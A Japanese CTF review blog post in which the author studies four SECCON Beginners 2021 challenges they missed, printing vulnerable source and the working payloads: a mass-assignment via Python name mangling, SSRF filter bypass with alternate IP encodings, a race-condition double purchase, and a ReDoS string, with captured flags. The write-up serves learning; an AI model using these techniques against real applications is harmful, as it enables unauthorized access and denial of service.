SECCON Beginners CTF 2021 解けなかった問題を勉強した記録
悔しさを忘れないために残す
反省なくして,進歩なし
web 02 Werewolf
問題
I wish I could play as a werewolf...
https://werewolf.quals.beginners.seccon.jp/
入手データ
import os
import random
from flask import Flask, render_template, request, session
# ====================
app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")
# ====================
class Player:
def __init__(self):
self.name = None
self.color = None
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
# :-)
# self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
@property
def role(self):
return self.__role
# :-)
# @role.setter
# def role(self, role):
# self.__role = role
# ====================
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == 'GET':
return render_template('index.html')
if request.method == 'POST':
player = Player()
for k, v in request.form.items():
player.__dict__[k] = v
return render_template('result.html',
name=player.name,
color=player.color,
role=player.role,
flag=app.FLAG if player.role == 'WEREWOLF' else ''
)
# ====================
if __name__ == '__main__':
app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
当日の行動
for k, v in request.form.items():
player.__dict__[k] = v
を見て, Burp で POST データを改ざんし
name=AAA&color=red&role=WEREWOLF
とか
name=AAA&color=red&__role=WEREWOLF
とか
name=AAA&color=red&self.__role=WEREWOLF
を試したが通らなかった。
恥ずかしくてこれ以上は書けないが,これだけではなく,約2時間いろんな無駄なパターンを試していた。
復習と反省
__変数
とは何かをググる
参考サイト
__変数
(前に_
が2個ついた変数)は疑似的なプライベート変数で外部から書き換えができないが,内部的に _クラス名__変数名
で public変数 が用意されている。
実験
curl -w '\n' 'https://werewolf.quals.beginners.seccon.jp/' --data 'name=AAA&color=red&_Player__role=WEREWOLF' -XPOST
なんで 「__変数
python」ってググらかったのか?
わからないことは,ちゃんと調べようぜ。
ありがちなミス
POSTで送るデータを改ざんするとき,よけいな改行に注意
web 03 check_url
問題
Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/
入手データ
<!-- HTML Template -->
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
echo "Hi, Admin or SSSSRFer<br>";
echo "********************FLAG********************";
}else{
echo "Here, take this<br>";
$url = $_GET["url"];
if ($url !== "https://www.example.com"){
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
die("do not hack me!");
}
echo "URL: ".$url."<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
echo "<iframe srcdoc='";
curl_exec($ch);
echo "' width='750' height='500'></iframe>";
curl_close($ch);
}
?>
<!-- HTML Template -->
当日の行動
変化球思いつかない
「localhost 同じ意味」ググってみる
ない
復習と反省
「localhost 127.0.0.1 その他」でググったら
2130706433 (Decimal)
0x7F000001 (Hex)
017700000001 (Octal)
また
echo "Hi, Admin or SSSSRFer<br>";
を見ていなかった。
SSRF(Server Side Request Forgery)だ
ヒントあるじゃん。
少し調べただけで,localhost の代わりは無いと決めつけてしまった。
調べようが足りない。
web 05 cant_use_db
問題
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
入手データ
import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect
app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)
def init_userdata(user_id):
try:
os.makedirs(f"./users/{user_id}", exist_ok=True)
open(f"./users/{user_id}/balance.txt", "w").write("20000")
open(f"./users/{user_id}/noodles.txt", "w").write("0")
open(f"./users/{user_id}/soup.txt", "w").write("0")
return True
except:
return False
def get_userdata(user_id):
try:
balance = open(f"./users/{user_id}/balance.txt").read()
noodles = open(f"./users/{user_id}/noodles.txt").read()
soup = open(f"./users/{user_id}/soup.txt").read()
return [int(i) for i in [balance, noodles, soup]]
except:
return [0] * 3
@app.route("/")
def top_page():
user_id = session.get("user")
if not user_id:
dirnames = datetime.datetime.now()
user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
if not init_userdata(user_id):
return redirect("/")
session["user"] = user_id
userdata = get_userdata(user_id)
info = {
"user_id": re.sub("^[0-9]*?/", "", user_id),
"balance": userdata[0],
"noodles": userdata[1],
"soup": userdata[2]
}
return render_template("index.html", info = info)
@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
if balance >= 10000:
noodles += 1
open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
balance -= 10000
open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
return "💸$10000"
return "ERROR: INSUFFICIENT FUNDS"
@app.route("/buy_soup", methods=["POST"])
def buy_soup():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
if balance >= 20000:
soup += 1
open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
balance -= 20000
open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
return "💸💸$20000"
return "ERROR: INSUFFICIENT FUNDS"
@app.route("/eat")
def eat():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
shutil.rmtree(f"./users/{user_id}/")
session["user"] = None
if (noodles >= 2) and (soup >= 1):
return os.getenv("CTF4B_FLAG")
if (noodles >= 2):
return "The noodles seem to get stuck in my throat."
if (soup >= 1):
return "This is soup, not ramen."
return "Please make ramen."
if __name__ == "__main__":
app.run()
ファイルで balance (残高) を管理しており,ORACLE DATABASE の SELECT FOR UPDATE のようなロック処理が無いため,残高以上の買い物ができる可能性がある。
当日の行動
何も思いつかず,早々にギブ
配布されたファイルすら見ていなかった。
復習と反省
参考(作問者writeup)
pythonだとうまくいく(コードは作問者writeup)
>python Ramen.py
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
{'session': 'eyJ1c2VyIjoiMTcyOC9BS1B0UTNwWXlyUEcxOWZuZFRkYkRWbE1LRVk0bXBuRTZZcVFDMGk4In0.YKtjpg.LZmKYmjFc28osyfxD3jK01Aj8bo'}
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
curlだと非同期通信できないのかうまくいかない。
残高が足りないと怒られる。
※各コマンドは一度にコピペで貼っているので操作時間はゼロです。
$ curl -c cookie.txt -k 'https://cant-use-db.quals.beginners.seccon.jp/'
<!doctype html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Can't use DB.</title>
<link rel="stylesheet" media="all" href="static/css/ress.min.css" />
<link rel="stylesheet" media="all" href="static/css/style.css" />
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<header>
<div class="container">
<div class="row">
<div class="col span-12">
<div class="head">
<h1><a href="javascript:alert('🍜')">Hack ramen 🍜</a></h1>
</div>
</div>
</div>
</div>
</header>
<div class="mainimg">
<div class="container">
<div class="row">
<center>
<div class="col span-6">
<img src="static/img/ramen.jpg" alt="ramen">
</div>
</center>
</div>
</div>
</div>
<main>
<section>
<div class="container">
<div class="row">
<div class="col span-6">
<div style="padding: 10px; margin-bottom: 10px; border: 1px dotted #333333;">
<center>
<h2 class="catch">UserData (texts)</h2>
<h5>Balance: $20000</h5>
<h5>Noodles: 0/2</h5>
<h5>Soup: 0/1</h5>
<h5>Wallet: <font size="4">7Je13GedojBc5hYTWXKiK7swd4HBnk-B2R8nPQwD</font></h5>
</center>
</div>
</div>
<div class="col span-6">
<center>
<h2 class="catch">Store</h2>
Noodles $10000<br>
<button style="width:80%;" onclick="$.post('/buy_noodles', function(data){alert(data);location.reload();});">Buy</button><br>
Soup $20000<br>
<button style="width:80%;" onclick="$.post('/buy_soup', function(data){alert(data);location.reload();});;">Buy</button><br>
<font color="red">Flag</font><br>(Noodles>=2, Soup>=1)<br>
<button style="width:80%;" onclick="location.href='./eat';">😋</button><br>
</center>
</div>
</div>
</div>
</section>
</main>
</body>
</html>$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginneon.jp/buy_noodles' --data '' -XPOST
💸$10000
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' --data '' -XPOST
💸$10000
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k 'https://cant-use-db.quals.beginners.seccon.jp/eat'
The noodles seem to get stuck in my throat.
普通にブラウザから連打
ポップアップが出る前にラーメン2回,スープ2回連打できればフラグがとれる。
配布されたデータくらい見ようね。
misc 02 Mail_Address_Validator
問題
あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100
入手データ
#!/usr/bin/env ruby
require 'timeout'
$stdout.sync = true
$stdin.sync = true
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
begin
Timeout.timeout(60) {
Process.wait Process.fork {
puts "I check your mail address."
puts "please puts your mail address."
input = gets.chomp
begin
Timeout.timeout(5) {
if input =~ pattern
puts "Valid mail address!"
else
puts "Invalid mail address!"
end
}
rescue Timeout::Error
exit(status=14)
end
}
case Process.last_status.to_i >> 8
when 0 then
puts "bye."
when 1 then
puts "bye."
when 14 then
File.open("flag.txt", "r") do |f|
puts f.read
end
else
puts "What's happen?"
end
}
rescue Timeout::Error
puts "bye."
end
当日の行動
このコードを見て,
ステータス = 14 でフラグがとれる
Timeout::Error で ステータスに14をセットしている
ことはすぐに理解できたが,見落としもあった。
見落とし1
Timeout.timeout(5) {
}
で,5秒で処理が終わらなければタイムアウトエラーを発生させている。
いつも無限ループに困っていたが,こんなコーディングが出来るなんて。
初めて見た。
見落とし2
終わらなければタイムアウトさせる処理が
if input =~ pattern
だということ。
復習と反省
キーワード「正規表現 タイムアウト」でググってみる。
有益な情報は見つからない。
"A" * 400,000を送ってみる
ダメだ。びくともしない。
※80万文字を送るとフラグがとれたというwriteup発見。どこまでやり続けるか判断が難しい。
writeup を見る
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
末尾の.を取ると
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga
Valid mail address!
bye.
参考サイト
正規表現でのメールアドレスチェックは見直すべき – ReDoS
ググるときの正解キーワードは,「正規表現 攻撃」だったのね。
rubyを敬遠しない
プログラムをきちんと読む
わからない命令はネットで調べる